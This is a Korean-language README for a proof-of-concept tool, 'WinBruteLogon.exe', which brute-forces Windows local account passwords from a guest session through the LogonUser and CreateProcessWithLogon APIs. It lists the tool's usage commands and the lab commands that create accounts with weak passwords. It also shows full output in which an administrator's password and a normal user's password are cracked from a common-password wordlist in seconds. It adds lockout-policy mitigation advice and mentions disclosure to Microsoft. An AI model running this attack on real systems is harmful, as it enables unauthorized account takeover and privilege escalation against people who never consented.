
권한 없이 모든 Microsoft Windows 사용자 암호를 크랙 (게스트 계정 포함)
알림 1: 현재 도구가 PowerShell 버전으로 포팅되었음을 기쁘게 알려드립니다. 이제 사용자는 PowerShell 명령줄에서 직접 도구에 액세스하고 사용할 수 있어 훨씬 더 편리하고 효율적으로 사용할 수 있습니다. 이 새로운 버전이 사용자에게 큰 도움이 되고 도구 사용 경험을 향상시킬 것이라고 믿습니다. 지속적인 지원에 감사드리며 새로운 PowerShell 버전을 즐기시기 바랍니다: https://github.com/DarkCoderSc/power-brute-logon
알림 2: 최근 Microsoft가 최신 및 업데이트된 Windows 버전에서 기본적으로 계정 잠금 정책을 활성화했다는 사실을 알게 되었습니다. 이 정책은 특정 횟수만큼 로그인에 실패하면 계정을 잠가 시스템을 보호하는 데 도움이 됩니다. 이는 유익한 보안 조치이지만, 이러한 시스템에서는 개념 증명(PoC)의 효율성을 떨어뜨립니다.
출시일: 2020-05-14
대상: Windows XP부터 최신 Windows 10 버전(1909)까지

취약점 위치: LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon은 짧은 시간 안에 많은 수의 비밀번호 조합을 추측하여 Microsoft 계정에 대한 무차별 대입 공격을 시뮬레이션하도록 설계되었습니다. 이를 통해 침투 테스터는 시스템의 보안 상태를 테스트하고 무차별 대입 공격에 대한 방어를 평가할 수 있습니다. 이 도구는 많은 시스템에서 흔한 약점인 계정 잠금 메커니즘의 부재를 악용합니다(Windows 11에서 계정 잠금이 기본적으로 활성화되기 전). 계정의 비밀번호를 추측하려고 시도함으로써 이 도구는 침투 테스터가 보안 조치의 취약점을 식별하고 해결하는 데 도움을 줄 수 있습니다. 이 도구는 책임감 있게 그리고 법적 범위 내에서 사용해야 합니다.
이 데모에서는 가상 또는 물리적 머신에 Windows 10의 새 버전을 설치하겠습니다. 머신을 설정한 후 관리자로 로그인합니다. 그런 다음 두 개의 다른 로컬 계정을 만듭니다: 하나는 관리자 계정이고 다른 하나는 일반 사용자 계정입니다. 데모에서는 게스트 계정을 사용하지만 이 개념 증명(PoC)은 게스트 계정에 국한되지 않습니다. 게스트, 일반 사용자, 관리자 사용자를 포함한 모든 계정이나 그룹에서 사용할 수 있습니다.
net user darkcodersc /add
net user darkcodersc trousers (trousers는 비밀번호입니다)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm은 비밀번호입니다)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
제 경우 trousers와 ozlq6qwm 모두 SecList에 있습니다: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
데모를 시작하려면 관리자 계정에서 로그오프하거나 머신을 다시 시작하고 게스트 계정으로 로그인합니다. 그런 다음 게스트 사용자로 액세스할 수 있는 위치에 PoC 실행 파일을 배치합니다.
사용법: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v는 선택 사항이며, 상세 모드를 지정합니다.
기본적으로 도메인 이름은 %USERDOMAIN% 환경 변수로 지정된 값입니다. -d 옵션으로 사용자 정의 이름을 지정할 수 있습니다.
darkcodercs (관리자)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
몇 초 기다리면 다음 결과가 나타납니다:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (일반 사용자)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
몇 초 기다리면 다음 결과가 나타납니다:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"실제 시나리오에서 공격자가 낮은 권한의 사용자 계정에 접근하면 더 높은 권한의 사용자 비밀번호를 크랙하여 권한을 상승시킬 수 있습니다. 이러한 위험을 완화하기 위해 몇 가지 조치를 취할 수 있습니다:
보안 잠금 정책(기본적으로 활성화되지 않음)을 구현하려면 다음 단계를 따르세요:
잠금 정책은 관리자 계정에는 적용되지 않습니다. 이 경우 관리자 계정(활성화된 경우)을 가장 잘 보호하는 방법은 매우 복잡한 비밀번호를 설정하는 것입니다.
이 취약점에 대한 보고서가 Microsoft 보안 팀에 전송되었습니다. Microsoft는 계정 잠금 정책을 기본적으로 활성화하는 것을 고려해야 합니다."
(2022년 업데이트): 계정 잠금이 드디어 기본적으로 활성화되었습니다.